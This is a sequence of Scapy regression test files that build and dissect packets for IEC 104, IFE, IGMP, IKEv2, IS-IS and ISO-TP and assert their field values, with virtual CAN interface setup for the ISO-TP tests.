assert(u_msg) s_msg = frm.getlayer(IEC104_S_Message) assert(s_msg) + information elements & objects = ASDU allowed in given standard (examples) layer = IEC104_IO_M_SP_NA_1() assert(layer.defined_for_iec_101() is True) assert(layer.defined_for_iec_104() is True) layer = IEC104_IO_M_DP_TA_1() assert(layer.defined_for_iec_101() is True) assert(layer.defined_for_iec_104() is False) layer = IEC104_IO_C_SC_TA_1() assert(layer.defined_for_iec_101() is False) assert(layer.defined_for_iec_104() is True) = BCR - binary counter reading / IEC104_IO_M_IT_NA_1 - integrated totals # (counter , sequence) test data values = [(1, 1), (1111, 17), (23456, 21), (31234, 30), (32767, 31)] m_it_na = [] for value, sequence in values: m_it_na.append(IEC104_IO_M_IT_NA_1(counter_value=value, sq=sequence)) frm = Ether()/IP()/TCP()/IEC104_I_Message_SeqIOA(io=m_it_na) frm = Ether(frm.do_build()) i_msg = frm.getlayer(IEC104_I_Message_SeqIOA) assert(i_msg) for idx, value in enumerate(values): value, sequence = value assert(i_msg.io[idx].counter_value == value) assert (i_msg.io[idx].sq == sequence) = DIQ - double-point information with quality descriptor / IEC104_IO_M_DP_NA_1 - double-point information without time tag frm = Ether() / IP() / TCP() / IEC104_I_Message_SeqIOA(io=IEC104_IO_M_DP_NA_1(dpi_value=IEC104_IE_DIQ.DPI_FLAG_STATE_UNDEFINED)) frm = Ether(frm.do_build()) i_msg = frm.getlayer(IEC104_I_Message_SeqIOA) assert(i_msg) assert(i_msg.io[0].dpi_value==IEC104_IE_DIQ.DPI_FLAG_STATE_UNDEFINED) = VTI - value with transient state indication / IEC104_IO_M_ST_NA_1 - step position information values = [0, 1, 2, 62, 63, -1, -2, -63, -64] m_st_na_1 = [] for value in values: m_st_na_1.append(IEC104_IO_M_ST_NA_1(value=value)) frm = Ether() / IP() / TCP() / IEC104_I_Message_SeqIOA(io=m_st_na_1) frm = Ether(frm.do_build()) i_msg = frm.getlayer(IEC104_I_Message_SeqIOA) assert (i_msg) for idx, value in enumerate(values): assert (i_msg.io[idx].value == value) = IEC104_IO_C_RD_NA_1 - read command (zero byte field) frm = Ether() / IP() / TCP() / IEC104_I_Message_SeqIOA(information_object_address=0x112233, io=[ IEC104_IO_C_RD_NA_1(), IEC104_IO_C_RD_NA_1() ])/ \ IEC104_I_Message_SeqIOA(information_object_address=0x445566, io=[IEC104_IO_M_DP_NA_1(dpi_value=IEC104_IE_DIQ.DPI_FLAG_STATE_UNDEFINED)])/ \ IEC104_I_Message_SeqIOA(information_object_address=0x445567, io=[IEC104_IO_C_RD_NA_1()]) frm = Ether(frm.do_build()) i_msg = frm.getlayer(IEC104_I_Message_SeqIOA) assert (i_msg) assert (i_msg.information_object_address == 0x112233) assert (len(i_msg.io) == 2) i_msg = frm.getlayer(IEC104_I_Message_SeqIOA, nb=2) assert (i_msg) assert (i_msg.information_object_address == 0x445566) scapy-2.4.4/test/contrib/ife.uts000066400000000000000000000015501372370053500165650ustar00rootroot00000000000000% IFE test campaign # # execute test: # > test/run_tests -P "load_contrib('ife')" -t test/contrib/ife.uts # + Basic layer handling = build basic IFE frames frm = Ether()/IFE(tlvs=[IFESKBMark(value=3), IFETCIndex(value=5)]) frm = Ether(bytes(frm)) assert(IFE in frm) assert(frm[IFE].tlvs[0].type == 1) assert(frm[IFE].tlvs[0].length == 8) assert(frm[IFE].tlvs[0].value == 3) assert(frm[IFE].tlvs[1].type == 5) assert(frm[IFE].tlvs[1].length == 6) assert(frm[IFE].tlvs[1].value == 5) = add padding if required frm = Ether()/IFE(tlvs=[IFETCIndex()]) assert(len(raw(frm)) == 24) frm = Ether()/IFE(tlvs=[IFESKBMark(), IFETCIndex()]) assert(len(raw(frm)) == 32) = variable payload frm = Ether(src="aa:aa:aa:aa:aa:aa", dst="bb:bb:bb:bb:bb:bb")/IFE(tlvs=[IFETlvStr(b"testsr")]) assert bytes(frm) == b'\xbb\xbb\xbb\xbb\xbb\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xed>\x00\x08testsr' scapy-2.4.4/test/contrib/igmp.uts000066400000000000000000000032661372370053500167640ustar00rootroot00000000000000############ % IGMP tests ############ + Basic IGMP tests = Build IGMP - Basic a=Ether(src="00:01:02:03:04:05") b=IP(src="1.2.3.4") c=IGMP(gaddr="0.0.0.0") x = a/b/c x[IGMP].igmpize() assert x.mrcode == 20 assert x[IP].dst == "224.0.0.1" = Build IGMP - Custom membership a=Ether(src="00:01:02:03:04:05") b=IP(src="1.2.3.4") c=IGMP(gaddr="224.0.1.2") x = a/b/c x[IGMP].igmpize() assert x.mrcode == 20 assert x[IP].dst == "224.0.1.2" = Build IGMP - LG a=Ether(src="00:01:02:03:04:05") b=IP(src="1.2.3.4") c=IGMP(type=0x17, gaddr="224.2.3.4") x = a/b/c x[IGMP].igmpize() assert x.dst == "01:00:5e:00:00:02" assert x.mrcode == 0 assert x[IP].dst == "224.0.0.2" = Change IGMP params x = Ether(src="00:01:02:03:04:05")/IP()/IGMP() x[IGMP].igmpize() assert x.mrcode == 20 assert x[IP].dst == "224.0.0.1" x = Ether(src="00:01:02:03:04:05")/IP()/IGMP(gaddr="224.2.3.4", type=0x12) x.mrcode = 1 x[IGMP].igmpize() x = Ether(raw(x)) assert x.mrcode == 0 x.gaddr = "224.3.2.4" x[IGMP].igmpize() assert x.dst == "01:00:5e:03:02:04" x.ttl = 64 x[IGMP].igmpize() assert x.ttl == 1 = Test mysummary x = Ether(src="00:01:02:03:04:05")/IP(src="192.168.0.1")/IGMP(gaddr="224.0.0.2", type=0x17) x[IGMP].igmpize() assert x[IGMP].mysummary() == "IGMP: 192.168.0.1 > 224.0.0.2 Leave Group 224.0.0.2" assert IGMP().mysummary() == "IGMP Group Membership Query 0.0.0.0" = IGMP - misc ~ netaccess x = Ether(src="00:01:02:03:04:05")/IP(dst="192.168.0.1")/IGMP(gaddr="www.google.fr", type=0x11) x = Ether(raw(x)) assert not x[IGMP].igmpize() assert x[IP].dst == "192.168.0.1" x = Ether(src="00:01:02:03:04:05")/IP(dst="192.168.0.1")/IGMP(gaddr="124.0.2.1", type=0x00) assert not x[IGMP].igmpize() assert x[IP].dst == "192.168.0.1"scapy-2.4.4/test/contrib/igmpv3.uts000066400000000000000000000044651372370053500172370ustar00rootroot00000000000000############## % IGMPv3 tests ############## + Basic IGMPv3 tests = Build IGMPv3 - Basic a=Ether(src="00:01:02:03:04:05") b=IP(src="1.2.3.4") c=IGMPv3(mrcode=154)/IGMPv3mq() x = a/b/c x[IGMPv3].igmpize() assert x.mrcode == 131 assert x[IP].dst == "224.0.0.1" assert isinstance(IGMP(raw(x[IGMPv3])), IGMPv3) = Build IGMPv3 - igmpize a=Ether(src="00:01:02:03:04:05") b=IP(src="1.2.3.4") c=IGMPv3()/IGMPv3mr(records = [IGMPv3gr(maddr = "232.1.1.10", srcaddrs = ["10.0.0.10"])]) x = a/b/c ret = x[IGMPv3].igmpize() assert ret = Dissect IGMPv3 - IGMPv3mq x = Ether(b'\x14\x0cv\x8f\xfe(\x00\x01\x02\x03\x04\x05\x08\x00F\xc0\x00$\x00\x01\x00\x00\x01\x02\xe4h\xc0\xa8\x00\x01\xe0\x00\x00\x16\x94\x04\x00\x00\x11\x14\x0e\xe9\xe6\x00\x00\x02\x00\x00\x00\x00') assert IGMPv3 in x assert IGMPv3mq in x assert x[IGMPv3mq].gaddr == "230.0.0.2" assert x.summary() == "Ether / IP / IGMPv3: 192.168.0.1 > 224.0.0.22 Membership Query / IGMPv3mq" assert isinstance(IGMP(raw(x[IGMPv3])), IGMPv3) = Dissect IGMPv3 - IGMPv3mr x = Ether(b'\x01\x00^\x00\x00\x16\xa8\xf9K\x00\x00\x01\x08\x00E\xc0\x00D\x00\x01\x00\x00\x01\x02\xd6\xdf\x01\x01\x01\x01\xe0\x00\x00\x16"\x00;\xa6\x00\x00\x00\x04\x01\x00\x00\x02\xe6\x00\x00\x00\xc0\xa8\x00\x01\xc0\xa8\x84\xf7\x01\x00\x00\x00\xe6\x00\x00\x01\x01\x00\x00\x00\xe6\x00\x00\x02\x01\x00\x00\x00\xe6\x00\x00\x03') assert IGMPv3 in x assert IGMPv3mr in x assert len(x[IGMPv3mr].records) == 4 assert x[IGMPv3mr].records[0].srcaddrs == ["192.168.0.1", "192.168.132.247"] assert x[IGMPv3mr].records[1].maddr == "230.0.0.1" assert isinstance(IGMP(raw(x[IGMPv3])), IGMPv3) = Dissect IGMPv3 - IGMPv3mra x = Ether(b'\x14\x0cv\x8f\xfe(\x00\x01\x02\x03\x04\x05\x08\x00F\xc0\x00 \x00\x01\x00\x00\x01\x02\xe4l\xc0\xa8\x00\x01\x7f\x00\x00\x01\x94\x04\x00\x000\x14\xcf\xe6\x00\x03\x00\x02') assert IGMPv3 in x assert IGMPv3mra in x assert x[IGMPv3mra].qryIntvl == 3 assert x[IGMPv3mra].robust == 2 assert isinstance(IGMP(raw(x[IGMPv3])), IGMPv3) = IGMP vs IVMPv3 tests assert isinstance(IGMPv3(raw(IGMP())), IGMP) assert isinstance(IGMPv3(raw(IGMP(type=0x11))), IGMP) assert isinstance(IGMP(raw(IGMPv3()/IGMPv3mra())), IGMPv3) assert isinstance(IGMP(raw(IGMPv3()/IGMPv3mq())), IGMPv3) = IGMPv3 - summaries pkt = IGMPv3()/IGMPv3mr(records=[IGMPv3gr(maddr="127.0.0.1")]) assert pkt.summary() == 'IGMPv3 Version 3 Membership Report / IGMPv3mr' scapy-2.4.4/test/contrib/ikev2.uts000066400000000000000000000205001372370053500170360ustar00rootroot00000000000000% Ikev2 Tests * Tests for the Ikev2 layer + Basic Layer Tests = Ikev2 build a = IKEv2() assert raw(a) == b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c' = Ikev2 dissection a = IKEv2(b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00! \x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00\x00\x14\x00\x00\x00\x10\x01\x01\x00\x00\x00\x00\x00\x08\x02\x00\x00\x03") assert a[IKEv2_payload_Transform].transform_type == 2 assert a[IKEv2_payload_Transform].transform_id == 3 assert a.next_payload == 33 assert a[IKEv2_payload_SA].next_payload == 0 assert a[IKEv2_payload_Proposal].next_payload == 0 assert a[IKEv2_payload_Proposal].proposal == 1 assert a[IKEv2_payload_Transform].next_payload == 0 a[IKEv2_payload_Transform].show() = Build Ikev2 SA request packet a = IKEv2(init_SPI="MySPI",exch_type=34)/IKEv2_payload_SA(prop=IKEv2_payload_Proposal()) assert raw(a) == b'MySPI\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00! "\x00\x00\x00\x00\x00\x00\x00\x00(\x00\x00\x00\x0c\x00\x00\x00\x08\x01\x01\x00\x00' = Build advanced IKEv2 import binascii key_exchange = binascii.unhexlify('bb41bb41cfaf34e3b3209672aef1c51b9d52919f1781d0b4cd889d4aafe261688776000c3d9031505aefc0186967eaf5a7663725fb102c59c39b7a70d8d9161c3bd0eb445888b5028ea063ba0ae01f5b3f30808a6b6710dc9bab601e4116157d7f58cf835cb633c64abcb3a5c61c223e9332538bfc9f282cb62d1f00f4ee8802') nonce = binascii.unhexlify('8dfcf8384c5c32f1b294c64eab69f98e9d8cf7e7f352971a91ff6777d47dffed') nat_detection_source_ip = binascii.unhexlify('e64c81c4152ad83bd6e035009fbb900406be371f') nat_detection_destination_ip = binascii.unhexlify('28cd99b9fa1267654b53f60887c9c35bcf67a8ff') transform_1 = IKEv2_payload_Transform(next_payload = 'Transform', transform_type = 'Encryption', transform_id = 12, length = 12, key_length = 0x80) transform_2 = IKEv2_payload_Transform(next_payload = 'Transform', transform_type = 'PRF', transform_id = 2) transform_3 = IKEv2_payload_Transform(next_payload = 'Transform', transform_type = 'Integrity', transform_id = 2) transform_4 = IKEv2_payload_Transform(next_payload = 'last', transform_type = 'GroupDesc', transform_id = 2) packet = IP(dst = '192.168.1.10', src = '192.168.1.130') /\ UDP(dport = 500) /\ IKEv2(init_SPI = b'KWdxMhjA', next_payload = 'SA', exch_type = 'IKE_SA_INIT', flags='Initiator') /\ IKEv2_payload_SA(next_payload = 'KE', prop = IKEv2_payload_Proposal(trans_nb = 4, trans = transform_1 / transform_2 / transform_3 / transform_4, )) /\ IKEv2_payload_KE(next_payload = 'Nonce', group = '1024MODPgr', load = key_exchange) /\ IKEv2_payload_Nonce(next_payload = 'Notify', load = nonce) /\ IKEv2_payload_Notify(next_payload = 'Notify', type = 16388, load = nat_detection_source_ip) /\ IKEv2_payload_Notify(next_payload = 'None', type = 16389, load = nat_detection_destination_ip) assert raw(packet) == b'E\x00\x01L\x00\x01\x00\x00@\x11\xf5\xc3\xc0\xa8\x01\x82\xc0\xa8\x01\n\x11\x94\x01\xf4\x018\x97 KWdxMhjA\x00\x00\x00\x00\x00\x00\x00\x00! "\x08\x00\x00\x00\x00\x00\x00\x010"\x00\x000\x00\x00\x00,\x01\x01\x00\x04\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x00\x80\x03\x00\x00\x08\x02\x00\x00\x02\x03\x00\x00\x08\x03\x00\x00\x02\x00\x00\x00\x08\x04\x00\x00\x02(\x00\x00\x88\x00\x02\x00\x00\xbbA\xbbA\xcf\xaf4\xe3\xb3 \x96r\xae\xf1\xc5\x1b\x9dR\x91\x9f\x17\x81\xd0\xb4\xcd\x88\x9dJ\xaf\xe2ah\x87v\x00\x0c=\x901PZ\xef\xc0\x18ig\xea\xf5\xa7f7%\xfb\x10,Y\xc3\x9bzp\xd8\xd9\x16\x1c;\xd0\xebDX\x88\xb5\x02\x8e\xa0c\xba\n\xe0\x1f[?0\x80\x8akg\x10\xdc\x9b\xab`\x1eA\x16\x15}\x7fX\xcf\x83\\\xb63\xc6J\xbc\xb3\xa5\xc6\x1c">\x932S\x8b\xfc\x9f(,\xb6-\x1f\x00\xf4\xee\x88\x02)\x00\x00$\x8d\xfc\xf88L\\2\xf1\xb2\x94\xc6N\xabi\xf9\x8e\x9d\x8c\xf7\xe7\xf3R\x97\x1a\x91\xffgw\xd4}\xff\xed)\x00\x00\x1c\x00\x00@\x04\xe6L\x81\xc4\x15*\xd8;\xd6\xe05\x00\x9f\xbb\x90\x04\x06\xbe7\x1f\x00\x00\x00\x1c\x00\x00@\x05(\xcd\x99\xb9\xfa\x12geKS\xf6\x08\x87\xc9\xc3[\xcfg\xa8\xff' ## packets taken from ## https://github.com/wireshark/wireshark/blob/master/test/captures/ikev2-decrypt-aes128ccm12.pcap = Dissect Initiator Request a = Ether(b'\x00!k\x91#H\xb8\'\xeb\xa6XI\x08\x00E\x00\x01\x14u\xc2@\x00@\x11@\xb6\xc0\xa8\x01\x02\xc0\xa8\x01\x0e\x01\xf4\x01\xf4\x01\x00=8\xeahM!Yz\xfd6\x00\x00\x00\x00\x00\x00\x00\x00! "\x08\x00\x00\x00\x00\x00\x00\x00\xf8"\x00\x00(\x00\x00\x00$\x01\x01\x00\x03\x03\x00\x00\x0c\x01\x00\x00\x0f\x80\x0e\x00\x80\x03\x00\x00\x08\x02\x00\x00\x05\x00\x00\x00\x08\x04\x00\x00\x13(\x00\x00H\x00\x13\x00\x002\xc6\xdf\xfe\\C\xb0\xd5\x81\x1f~\xaa\xa8L\x9fx\xbf\x99\xb9\x06\x9c+\x07.\x0b\x82\xf4k\xf6\xf6m\xd4_\x97\xef\x89\xee(_\xd5\xdfRzDwkR\x9f\xc9\xd8\xa9\t\xd8B\xa6\xfbY\xb9j\tS\x95ar)\x00\x00$\xb6UF-oKf\xf8r\xcc\xd7\xf0\xf4\xb4\x85w2\x92\x139\xcb\xaaR7\xed\xba$O&+h#)\x00\x00\x1c\x00\x00@\x04\x94\x9c\x9d\xb5s\x9du\xa9t\xa4\x9c\x18F\x186\x9b4\xb7\xf9B)\x00\x00\x1c\x00\x00@\x05>r\x1bF\xbe\x07\xd51\x11B]\x7f\x80\xd2\xc6\xe2 \xc6\x07.\x00\x00\x00\x10\x00\x00@/\x00\x01\x00\x02\x00\x03\x00\x04') assert a[IKEv2_payload_SA].prop.trans.transform_id == 15 assert a[IKEv2_payload_Notify].next_payload == 41 assert IP(a[IKEv2_payload_Notify].load).src == "70.24.54.155" assert IP(a[IKEv2_payload_Notify].payload.load).dst == "32.198.7.46" = Dissect Responder Response b = Ether(b'\xb8\'\xeb\xa6XI\x00!k\x91#H\x08\x00E\x00\x01\x0c\xd2R@\x00@\x11\xe4-\xc0\xa8\x01\x0e\xc0\xa8\x01\x02\x01\xf4\x01\xf4\x00\xf8\x07\xdd\xeahM!Yz\xfd6\xd9\xfe*\xb2-\xac#\xac! " \x00\x00\x00\x00\x00\x00\x00\xf0"\x00\x00(\x00\x00\x00$\x01\x01\x00\x03\x03\x00\x00\x0c\x01\x00\x00\x0f\x80\x0e\x00\x80\x03\x00\x00\x08\x02\x00\x00\x05\x00\x00\x00\x08\x04\x00\x00\x13(\x00\x00H\x00\x13\x00\x00,f\xbe\xad\xb6\xce\x855\xd6!\x8c\xb4\x01\xaaZ\x1e\xb4\x03[\x97\xca\xdd\xaf67J\x97\x9c\x04F\xb8\x80\x05\x06\xbf\x9do\x95\tR2k\xf3\x01\x19\x13\xda\x93\xbb\x8e@\xf8\x157k\xe1\xa0h\x01\xc0\xa6>;T)\x00\x00$\x9e]&sy\xe6\x81\xe7\xd3\x8d\x81\xc7\x10\xd3\x83@\x1d\xe7\xe3`{\x92m\x90\xa9\x95\x8a\xdc\xb5(1\xaa)\x00\x00\x1c\x00\x00@\x04z\x07\x85\'=Y 8)\xa6\x97U\x0f1\xcb\xb9N\xb7+C)\x00\x00\x1c\x00\x00@\x05\xc3\xe5\x8a\x8c\xc9\x93<\xe0\xb7\x8f*P\xe8\xde\x80\x13N\x12\xce1\x00\x00\x00\x08\x00\x00@\x14') assert b[UDP].dport == 500 assert b[IKEv2_payload_KE].load == b',f\xbe\xad\xb6\xce\x855\xd6!\x8c\xb4\x01\xaaZ\x1e\xb4\x03[\x97\xca\xdd\xaf67J\x97\x9c\x04F\xb8\x80\x05\x06\xbf\x9do\x95\tR2k\xf3\x01\x19\x13\xda\x93\xbb\x8e@\xf8\x157k\xe1\xa0h\x01\xc0\xa6>;T' assert b[IKEv2_payload_Nonce].payload.type == 16388 assert b[IKEv2_payload_Nonce].payload.payload.payload.next_payload == 0 = Dissect Encrypted Inititor Request a = Ether(b"\x00!k\x91#H\xb8'\xeb\xa6XI\x08\x00E\x00\x00Yu\xe2@\x00@\x11AQ\xc0\xa8\x01\x02\xc0\xa8\x01\x0e\x01\xf4\x01\xf4\x00E}\xe0\xeahM!Yz\xfd6\xd9\xfe*\xb2-\xac#\xac. %\x08\x00\x00\x00\x02\x00\x00\x00=*\x00\x00!\xcc\xa0\xb3]\xe5\xab\xc5\x1c\x99\x87\xcb\xf1\xf5\xec\xff!\x0e\xb7g\xcd\xb8Qy8;\x96Mx\xe2") assert a[IKEv2_payload_Encrypted].next_payload == 42 assert a[IKEv2_payload_Encrypted].load == b'\xcc\xa0\xb3]\xe5\xab\xc5\x1c\x99\x87\xcb\xf1\xf5\xec\xff!\x0e\xb7g\xcd\xb8Qy8;\x96Mx\xe2' = Dissect Encrypted Responder Response b = Ether(b"\xb8'\xeb\xa6XI\x00!k\x91#H\x08\x00E\x00\x00Q\xd5y@\x00@\x11\xe1\xc1\xc0\xa8\x01\x0e\xc0\xa8\x01\x02\x01\xf4\x01\xf4\x00=\xf9F\xeahM!Yz\xfd6\xd9\xfe*\xb2-\xac#\xac. % \x00\x00\x00\x02\x00\x00\x005\x00\x00\x00\x19\xa8\x0c\x95{\xac\x15\xc3\xf8\xaf\xdf1Z\x81\xccK|@\xe8f\rD") assert b[IKEv2].init_SPI == b'\xeahM!Yz\xfd6' assert b[IKEv2].resp_SPI == b'\xd9\xfe*\xb2-\xac#\xac' assert b[IKEv2].next_payload == 46 assert b[IKEv2_payload_Encrypted].load == b'\xa8\x0c\x95{\xac\x15\xc3\xf8\xaf\xdf1Z\x81\xccK|@\xe8f\rD' = Test Certs detection a = IKEv2_payload_CERT(raw(IKEv2_payload_CERT_CRL())) b = IKEv2_payload_CERT(raw(IKEv2_payload_CERT_STR())) c = IKEv2_payload_CERT(raw(IKEv2_payload_CERT_CRT())) assert isinstance(a, IKEv2_payload_CERT_CRL) assert isinstance(b, IKEv2_payload_CERT_STR) assert isinstance(c, IKEv2_payload_CERT_CRT) = Test TrafficSelector detection a = TrafficSelector(raw(IPv4TrafficSelector())) b = TrafficSelector(raw(IPv6TrafficSelector())) c = TrafficSelector(raw(EncryptedTrafficSelector())) assert isinstance(a, IPv4TrafficSelector) assert isinstance(b, IPv6TrafficSelector) assert isinstance(c, EncryptedTrafficSelector) = IKEv2_payload_Encrypted_Fragment, simple tests s = b"\x00\x00\x00\x08\x00\x01\x00\x01" assert raw(IKEv2_payload_Encrypted_Fragment()) == s p = IKEv2_payload_Encrypted_Fragment(s) assert p.length == 8 and p.frag_number == 1 scapy-2.4.4/test/contrib/isis.uts000066400000000000000000000135461372370053500170010ustar00rootroot00000000000000% IS-IS Tests * Tests for the IS-IS layer + Syntax check = Import the isis layer from scapy.contrib.isis import * + Basic Layer Tests = Layer Binding p = Dot3()/LLC()/ISIS_CommonHdr()/ISIS_P2P_Hello() assert(p[LLC].dsap == 0xfe) assert(p[LLC].ssap == 0xfe) assert(p[LLC].ctrl == 0x03) assert(p[ISIS_CommonHdr].nlpid == 0x83) assert(p[ISIS_CommonHdr].pdutype == 17) assert(p[ISIS_CommonHdr].hdrlen == 20) + Package Tests = P2P Hello p = Dot3(dst="09:00:2b:00:00:05",src="00:00:00:aa:00:8c")/LLC()/ISIS_CommonHdr()/ISIS_P2P_Hello( holdingtime=40, sourceid="1720.1600.8016", tlvs=[ ISIS_ProtocolsSupportedTlv(nlpids=["IPv4", "IPv6"]) ]) p = p.__class__(raw(p)) assert(p[ISIS_P2P_Hello].pdulength == 24) assert(network_layer_protocol_ids[p[ISIS_ProtocolsSupportedTlv].nlpids[1]] == "IPv6") = LSP p = Dot3(dst="09:00:2b:00:00:05",src="00:00:00:aa:00:8c")/LLC()/ISIS_CommonHdr()/ISIS_L2_LSP( lifetime=863, lspid="1720.1600.8016.00-00", seqnum=0x1f0, typeblock="L1+L2", tlvs=[ ISIS_AreaTlv( areas=[ISIS_AreaEntry(areaid="49.1000")] ), ISIS_ProtocolsSupportedTlv( nlpids=["IPv4", "IPv6"] ), ISIS_DynamicHostnameTlv( hostname="BR-HH" ), ISIS_IpInterfaceAddressTlv( addresses=["172.16.8.16"] ), ISIS_GenericTlv( type=134, val=b"\xac\x10\x08\x10" ), ISIS_ExtendedIpReachabilityTlv( pfxs=[ ISIS_ExtendedIpPrefix(metric=0, pfx="172.16.8.16/32"), ISIS_ExtendedIpPrefix(metric=10, pfx="10.1.0.109/30"), ISIS_ExtendedIpPrefix(metric=10, pfx="10.1.0.181/30") ] ), ISIS_Ipv6ReachabilityTlv( pfxs=[ ISIS_Ipv6Prefix(metric=0, pfx="fe10:1::10/128"), ISIS_Ipv6Prefix(metric=10, pfx="fd1f:1::/64"), ISIS_Ipv6Prefix(metric=10, pfx="fd1f:1:12::/64") ] ), ISIS_ExtendedIsReachabilityTlv( neighbours=[ISIS_ExtendedIsNeighbourEntry(neighbourid="1720.1600.8004.00", metric=10)] ) ]) p = p.__class__(raw(p)) assert(p[ISIS_L2_LSP].pdulength == 150) assert(p[ISIS_L2_LSP].checksum == 0x8701) = LSP with Sub-TLVs p = Dot3(dst="09:00:2b:00:00:05",src="00:00:00:aa:00:8c")/LLC()/ISIS_CommonHdr()/ISIS_L2_LSP( lifetime=863, lspid="1720.1600.8016.00-00", seqnum=0x1f0, typeblock="L1+L2", tlvs=[ ISIS_AreaTlv( areas=[ISIS_AreaEntry(areaid="49.1000")] ), ISIS_ProtocolsSupportedTlv( nlpids=["IPv4", "IPv6"] ), ISIS_DynamicHostnameTlv( hostname="BR-HH" ), ISIS_IpInterfaceAddressTlv( addresses=["172.16.8.16"] ), ISIS_GenericTlv( type=134, val=b"\xac\x10\x08\x10" ), ISIS_ExtendedIpReachabilityTlv( pfxs=[ ISIS_ExtendedIpPrefix(metric=0, pfx="172.16.8.16/32"), ISIS_ExtendedIpPrefix(metric=10, pfx="10.1.0.109/30", subtlvindicator=1, subtlvs=[ ISIS_32bitAdministrativeTagSubTlv(tags=[321, 123]), ISIS_64bitAdministrativeTagSubTlv(tags=[54321, 4294967311]) ]), ISIS_ExtendedIpPrefix(metric=10, pfx="10.1.0.181/30", subtlvindicator=1, subtlvs=[ ISIS_GenericSubTlv(type=123, val=b"\x11\x1f\x01\x1c") ]) ] ), ISIS_Ipv6ReachabilityTlv( pfxs=[ ISIS_Ipv6Prefix(metric=0, pfx="fe10:1::10/128"), ISIS_Ipv6Prefix(metric=10, pfx="fd1f:1::/64", subtlvindicator=1, subtlvs=[ ISIS_GenericSubTlv(type=99, val=b"\x1f\x01\x1f\x01\x11\x1f\x01\x1c") ]), ISIS_Ipv6Prefix(metric=10, pfx="fd1f:1:12::/64") ] ), ISIS_ExtendedIsReachabilityTlv( neighbours=[ ISIS_ExtendedIsNeighbourEntry(neighbourid="1720.1600.8004.00", metric=10, subtlvs=[ ISIS_IPv4InterfaceAddressSubTlv(address="172.16.8.4"), ISIS_LinkLocalRemoteIdentifiersSubTlv(localid=418, remoteid=54321), ISIS_IPv6NeighborAddressSubTlv(address="fe10:1::5"), ISIS_MaximumLinkBandwidthSubTlv(maxbw=125000000), ISIS_UnreservedBandwidthSubTlv(unrsvbw=[125000000, 125000000, 125000000, 125000000, 125000000, 125000000, 125000000, 125000000]), ISIS_TEDefaultMetricSubTlv(temetric=16777214) ]) ] ), ISIS_ExternalIpReachabilityTlv( type=130 ) ]) p = p.__class__(raw(p)) assert(p[ISIS_L2_LSP].pdulength == 278) assert(p[ISIS_L2_LSP].checksum == 0xc0a9) assert(p[ISIS_ExtendedIpReachabilityTlv].pfxs[1].subtlvs[1].tags[0]==54321) assert(p[ISIS_Ipv6ReachabilityTlv].pfxs[1].subtlvs[0].len==8) assert(p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[0].address=='172.16.8.4') assert(p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[1].localid==418) assert(p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[3].maxbw==125000000) assert(p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[4].unrsvbw[0]==125000000) assert(p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[5].temetric==16777214) assert(p[ISIS_ExternalIpReachabilityTlv].type==130) scapy-2.4.4/test/contrib/isotp.uts000066400000000000000000002304071372370053500171650ustar00rootroot00000000000000% Regression tests for ISOTP + Configuration ~ conf = Imports load_layer("can", globals_dict=globals()) conf.contribs['CAN']['swap-bytes'] = False import scapy.modules.six as six import subprocess, sys from six.moves.queue import Queue from subprocess import call from io import BytesIO from scapy.contrib.isotp import get_isotp_packet from scapy.consts import LINUX = Definition of constants, utility functions and mock classes iface0 = "vcan0" iface1 = "vcan1" class MockCANSocket(SuperSocket): nonblocking_socket = True def __init__(self, rcvd_queue=None): self.rcvd_queue = Queue() self.sent_queue = Queue() if rcvd_queue is not None: for c in rcvd_queue: self.rcvd_queue.put(c) def recv_raw(self, x=MTU): pkt = bytes(self.rcvd_queue.get(True, 2)) return CAN, pkt, None def send(self, p): self.sent_queue.put(p) @staticmethod def select(sockets, remain=None): return sockets, None # utility function that waits on list l for n elements, timing out if nothing is added for 1 second def list_wait(l, n): old_len = 0 c = 0 while len(l) < n: if c > 100: return False if len(l) == old_len: time.sleep(0.01) c += 1 else: old_len = len(l) c = 0 # hexadecimal to bytes convenience function if six.PY2: dhex = lambda s: "".join(s.split()).decode('hex') else: dhex = bytes.fromhex # function to exit when the can-isotp kernel module is not available ISOTP_KERNEL_MODULE_AVAILABLE = False def exit_if_no_isotp_module(): if not ISOTP_KERNEL_MODULE_AVAILABLE: err = "TEST SKIPPED: can-isotp not available\n" sys.__stderr__.write(err) warning("Can't test ISOTP native socket because kernel module is not loaded") exit(0) = Initialize a virtual CAN interface ~ vcan_socket needs_root linux if 0 != call(["cansend", iface0, "000#"]): # vcan0 is not enabled if 0 != call(["sudo", "modprobe", "vcan"]): raise Exception("modprobe vcan failed") if 0 != call(["sudo", "ip", "link", "add", "name", iface0, "type", "vcan"]): print("add %s failed: Maybe it was already up?" % iface0) if 0 != call(["sudo", "ip", "link", "set", "dev", iface0, "up"]): raise Exception("could not bring up %s" % iface0) if 0 != call(["cansend", iface0, "000#"]): raise Exception("cansend doesn't work") if 0 != call(["cansend", iface1, "000#"]): # vcan1 is not enabled if 0 != call(["sudo", "modprobe", "vcan"]): raise Exception("modprobe vcan failed") if 0 != call(["sudo", "ip", "link", "add", "name", iface1, "type", "vcan"]): print("add %s failed: Maybe it was already up?" % iface1) if 0 != call(["sudo", "ip", "link", "set", "dev", iface1, "up"]): raise Exception("could not bring up %s" % iface1) if 0 != call(["cansend", iface1, "000#"]): raise Exception("cansend doesn't work") print("CAN should work now") = Import CANSocket from scapy.contrib.cansocket_python_can import * new_can_socket = lambda iface: CANSocket(bustype='virtual', channel=iface) new_can_socket0 = lambda: CANSocket(bustype='virtual', channel=iface0, timeout=0.01) new_can_socket1 = lambda: CANSocket(bustype='virtual', channel=iface1, timeout=0.01) # utility function for draining a can interface, asserting that no packets are there def drain_bus(iface=iface0, assert_empty=True): with new_can_socket(iface) as s: pkts = s.sniff(timeout=0.1) if assert_empty: assert len(pkts) == 0 print("CAN sockets should work now") = Overwrite definition for vcan_socket systems python-can 